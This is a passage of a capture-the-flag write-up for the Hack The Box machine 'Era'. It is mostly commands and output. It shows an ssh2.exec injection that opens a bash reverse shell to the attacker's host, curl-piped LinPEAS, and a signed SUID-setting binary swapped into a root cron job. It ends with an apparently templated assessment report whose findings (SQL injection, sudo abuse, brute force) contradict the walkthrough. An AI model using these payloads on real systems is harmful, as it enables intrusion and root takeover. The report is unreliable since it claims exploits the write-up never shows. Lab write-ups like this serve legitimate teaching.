                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }
<--- CUT FOR BREVITY --->

We used the information we gathered on the FTP Share of ssh2 to search for documentation about it.

This PHP Wrapper offered us four options to play with.

- ssh2.shell://user:[email protected]:22/xterm
- ssh2.exec://user:[email protected]:22/usr/local/bin/somecmd
- ssh2.tunnel://user:[email protected]:22/192.168.0.1:14
- ssh2.sftp://user:[email protected]:22/path/to/filename

We prepared a payload and URL Encoded all necessary characters to append it to &format=.

ssh2.exec://user:[email protected]:22/usr/local/bin/somecmd
&format=ssh2.exec://yuri:[email protected]/bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.45%2F9001%200%3E%261%22; HTTP/1.1

For the execution we intercepted a request accessing a file as admin_ef01cab31aa using Burp Suite and modified the first line according to our payload to a callback as yuri.

GET /download.php?id=54&show=true&format=ssh2.exec://yuri:[email protected]/bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.45%2F9001%200%3E%261%22; HTTP/1.1
Host: file.era.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://file.era.htb/download.php?id=54
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=vrjbq7kmla3ajds6q6vg96l79m
Connection: keep-alive
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.45] from (UNKNOWN) [10.129.174.224] 43164
bash: cannot set terminal process group (16489): Inappropriate ioctl for device
bash: no job control in this shell
yuri@era:~$

Before we moved on, we just stabilized our shell since there was no way to login via SSH to the box.

yuri@era:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
yuri@era:~$ ^Z
zsh: suspended  nc -lnvp 9001
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg
[1]  + continued  nc -lnvp 9001

yuri@era:~$ 
yuri@era:~$ export XTERM=xterm
yuri@era:~$

Enumeration (yuri)

The user yuri had no special privileges. However we used him to enumerate and to have a first quick look at the box.

yuri@era:~$ id
uid=1001(yuri) gid=1002(yuri) groups=1002(yuri)

The content of /etc/passwd showed another user called eric for which we already had the Hash cracked and retrieved his cleartext password.

yuri@era:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
eric:x:1000:1000:eric:/home/eric:/bin/bash
ftp:x:108:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
yuri:x:1001:1002::/home/yuri:/bin/sh
_laurel:x:999:999::/var/log/laurel:/bin/false
Username
eric

Within /opt we found a directory called AV owned by root and accessible by the group devs.

yuri@era:/opt$ ls -la
total 12
drwxrwxr-x  3 root root 4096 Jul 22 08:42 .
drwxr-xr-x 20 root root 4096 Jul 22 08:41 ..
drwxrwxr--  3 root devs 4096 Jul 22 08:42 AV

While checking the available ports nothing stood out. Everything we saw was pretty much expected.

yuri@era:~$ ss -tulpn
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp   UNCONN 0      0      127.0.0.53%lo:53        0.0.0.0:*          
udp   UNCONN 0      0            0.0.0.0:68        0.0.0.0:*          
tcp   LISTEN 0      4096   127.0.0.53%lo:53        0.0.0.0:*          
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*          
tcp   LISTEN 0      128        127.0.0.1:22        0.0.0.0:*          
tcp   LISTEN 0      511             [::]:80           [::]:*          
tcp   LISTEN 0      32                 *:21              *:*

We fired up LinPEAS to have a summary and a more complete output of ps -auxf.

yuri@era:~$ curl 10.10.16.45/linpeas.sh | sh

The output showed a Cronjob executing a Bash Script called initiate_monitoring.sh running as root and writing to a file named status.log.

<--- CUT FOR BREVITY --->
root        4097  0.0  0.0   4308  2808 ?        Ss   Jul26   0:00 /usr/sbin/cron -f -P
root       19638  0.0  0.0   7764  4004 ?        S    04:56   0:00  _ /usr/sbin/CRON -f -P
root       19639  0.0  0.0   2892   960 ?        Ss   04:56   0:00      _ /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1
root       19640  0.0  0.0   4784  3244 ?        S    04:56   0:00          _ /bin/bash /root/initiate_monitoring.sh
<--- CUT FOR BREVITY --->

Privilege Escalation to eric

Now it was time to perform another quick Privilege Escalation by switching to the user eric to grab the user.txt.

yuri@era:~$ su eric
Password: 
eric@era:/home/yuri$
eric@era:~$ ls -la
total 28
drwxr-x--- 5 eric eric 4096 Jul 22 08:42 .
drwxr-xr-x 4 root root 4096 Jul 22 08:42 ..
lrwxrwxrwx 1 root root    9 Jul  2 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 eric eric 3771 Jan  6  2022 .bashrc
drwx------ 2 eric eric 4096 Sep 17  2024 .cache
drwxrwxr-x 3 eric eric 4096 Jul 22 08:42 .local
drwx------ 2 eric eric 4096 Sep 17  2024 .ssh
-rw-r----- 1 root eric   33 Jul 26 19:01 user.txt

user.txt

eric@era:~$ cat user.txt
79a267a8146365ceca32494d2d7c0439

Enumeration (eric)

As eric we were part of the devs group and therefore had access to the AV directory.

eric@era:~$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
eric@era:/opt/AV$ ls -la
total 12
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 .
drwxrwxr-x 3 root root 4096 Jul 22 08:42 ..
drwxrwxr-- 2 root devs 4096 Jul 27 05:03 periodic-checks

Inside the periodic-checks folder we found a binary called monitor.

eric@era:/opt/AV/periodic-checks$ ls -la
total 32
drwxrwxr-- 2 root devs  4096 Jul 27 05:04 .
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 27 05:04 monitor
-rw-rw---- 1 root devs   205 Jul 27 05:04 status.log

Privilege Escalation to root

Now the information came together. The status.log file showed if someone tampered with the monitor binary by verifying it's signature.

The plan was to create a custom binary then sign it and replace the original file.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Era/files]
└─$ cat monitor.c 
#include <stdlib.h>
#include <sys/stat.h>
int main() {
    chmod("/bin/bash", 04755);
    return 0;
}
┌──(kali㉿kali)-[/media/…/HTB/Machines/Era/files]
└─$ gcc monitor.c -o monitor -static

For signing the binary we used the linux-elf-binary-signer project from GitHub.

We needed to provide the key.pem we exfiltrated from the FTP Server in order to create a legitimate binary.

┌──(kali㉿kali)-[/media/…/Machines/Era/files/linux-elf-binary-signer]
└─$ cp ../unzip2/key.pem .
┌──(kali㉿kali)-[/media/…/Machines/Era/files/linux-elf-binary-signer]
└─$ ./elf-sign sha256 key.pem key.pem ../monitor       
 --- 64-bit ELF file, version 1 (CURRENT), little endian.
 --- 26 sections detected.
 --- Section 0006 [.text] detected.
 --- Length of section [.text]: 478585
 --- Signature size of [.text]: 458
 --- Writing signature to file: .text_sig
 --- Removing temporary signature file: .text_sig

Then we started the process by removing the original binary, downloading our custom file and made it executable.

eric@era:/opt/AV/periodic-checks$ rm monitor
eric@era:/opt/AV/periodic-checks$ ls
status.log
eric@era:/opt/AV/periodic-checks$ wget http://10.10.16.45/monitor
--2025-07-27 05:45:08--  http://10.10.16.45/monitor
Connecting to 10.10.16.45:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 754802 (737K) [application/octet-stream]
Saving to: ‘monitor’

monitor             100%[===================>] 737.11K  2.86MB/s    in 0.3s    

2025-07-27 05:45:09 (2.86 MB/s) - ‘monitor’ saved [754802/754802]
eric@era:/opt/AV/periodic-checks$ ls
monitor  status.log
eric@era:/opt/AV/periodic-checks$ chmod +x monitor

After a few seconds we checked the status.log and saw that we got clearance as well as the SUID Bit was set on /bin/bash.

eric@era:/opt/AV/periodic-checks$ cat status.log 

[ERROR] Executable not signed. Tampering attempt detected. Skipping.
[SUCCESS] No threats detected.
eric@era:/opt/AV/periodic-checks$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
eric@era:/opt/AV/periodic-checks$ /bin/bash -p
bash-5.1#

root.txt

bash-5.1# cat root.txt 
f0c9a3d0dd6c784ef1c3d0c0b64cd945

📋 Security Assessment Report

2
Critical
6
High
0
Medium
2
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — SQL Injection — Database Compromise
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.

Impact

An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Replace all dynamic SQL query construction with parameterised queries or prepared statements at every database interaction point. Apply strict type validation on all inputs. Enforce least-privilege database accounts restricted to only required tables and operations. Deploy a Web Application Firewall to detect SQL injection patterns. Suppress all database error detail in production responses to prevent schema enumeration by attackers.
F-003 — Insecure Direct Object Reference — Unauthorised Data Access
8.1
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application exposed direct references to internal objects — user IDs, document identifiers, and resource paths — in URL parameters and request bodies without verifying that the authenticated user has authorisation to access the referenced object. By modifying these identifiers, it was possible to access data belonging to other users.

Impact

An attacker with any authenticated account can access, modify, or delete data belonging to any other user in the application by enumerating or guessing object identifiers. In this engagement, IDOR exposure encompassed all registered user profiles, associated sensitive records, and configuration data. Where write operations were also exposed without authorisation checks, data integrity across the entire user base was at risk.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Implement server-side object-level authorisation checks on every request that accesses a resource — verify that the authenticated user owns or has explicit permission to access the referenced object, regardless of how the identifier was supplied. Replace sequential integer IDs in all external-facing references with randomly generated UUIDs or cryptographically opaque tokens. Conduct a comprehensive audit of all API endpoints for missing authorisation checks using an automated tool and manual review.
F-004 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
F-005 — SUID Binary Abuse — Local Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that one or more non-standard binaries were found with the SUID bit set, causing them to execute as root regardless of which user invokes them. The identified binaries are documented in the GTFOBins database and can be abused through shell escape techniques or file operation abuse to read privileged files or spawn an interactive root shell.

Impact

Any user with shell access to the host can leverage the SUID binary to escalate privileges to root without requiring additional credentials or exploiting any further software vulnerability. During this engagement, the SUID binary was used to obtain an interactive root shell within moments of obtaining the initial low-privilege access, granting complete control over the host and access to all stored credentials and data.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all SUID and SGID binaries using find / -perm /6000 -type f 2>/dev/null and remove the SUID bit from all non-essential binaries. Establish a baseline of expected SUID binaries and alert on any deviations. Never install developer tools, scripting interpreters, or GTFOBins-listed utilities with the SUID permission. Apply nosuid mount options on partitions containing user-writable content.
F-006 — Cron Job Misconfiguration — Scheduled Root Execution
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that a root-owned cron job was identified that executes a script or binary that is writable by a lower-privileged user. By modifying the script content before the next scheduled execution cycle, arbitrary commands can be injected and will run as root automatically — without requiring any elevated access at the time of the modification.

Impact

An attacker with write access to the cron-referenced script achieves root code execution on the next cron cycle without any administrator interaction. Depending on cron frequency, the exploitation window ranges from seconds to minutes. During this engagement, the writable cron script was modified to execute a reverse shell, resulting in a root-level shell and complete host compromise on the next scheduled run.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all cron jobs in /etc/crontab, /etc/cron.d/, and all user crontabs for scripts executed with elevated privileges. Ensure every script executed by root-owned cron jobs is owned by root and is not world-writable or group-writable by untrusted groups. Remove any cron references to non-existent scripts immediately — attackers can create the missing file at the expected path. Implement file integrity monitoring on all cron-executed scripts.
F-007 — Local File Inclusion — Sensitive File Disclosure
7.5
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the application constructed file system paths using user-supplied parameters without adequate sanitisation or path canonicalisation. By injecting path traversal sequences into the vulnerable parameter, it was possible to traverse outside the intended directory and read arbitrary files from the server file system.

Impact

An attacker can read arbitrary files accessible to the web application process — including database credentials, application API keys, SSH private keys from user home directories, and system files such as /etc/passwd and /etc/shadow. Credentials discovered through file inclusion were used during this engagement to gain authenticated access to additional services. In PHP applications, log poisoning chains this vulnerability to full remote code execution.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Validate all file path inputs by canonicalising the resolved path and verifying it begins within the expected base directory before any file operation. Implement a strict allowlist of permitted filenames where dynamic file access is required. Apply PHP open_basedir restrictions to prevent file access outside the application directory. Remove file inclusion functionality that relies on user-supplied paths and replace with explicit, hardcoded include statements.
F-008 — Credential Brute Force — Weak Authentication Controls
7.5
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the authentication endpoint was found to have no rate limiting, account lockout policy, or CAPTCHA protection. Repeated authentication requests using a dictionary of commonly used passwords were submitted against discovered usernames without restriction, and valid credentials were recovered and used to obtain authenticated access to the application.

Impact

An attacker can perform unlimited automated credential guessing against all discovered usernames until valid credentials are found — with no restriction, lockout, or detection. In this engagement, valid credentials were recovered through dictionary attack, providing authenticated application access that was the pivotal stepping stone toward full server compromise. Reused passwords across services further amplified the impact of each recovered credential.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Implement account lockout after 5–10 consecutive failed login attempts with a minimum lockout duration of 15 minutes. Apply progressive time delays between failed authentication attempts. Deploy CAPTCHA or bot-detection challenges on all authentication endpoints. Monitor and alert on high volumes of failed authentication events from single or distributed sources. Enforce strong password policies and implement multi-factor authentication (MFA) for all accounts, prioritising administrator and privileged accounts.
Reactions

Related Articles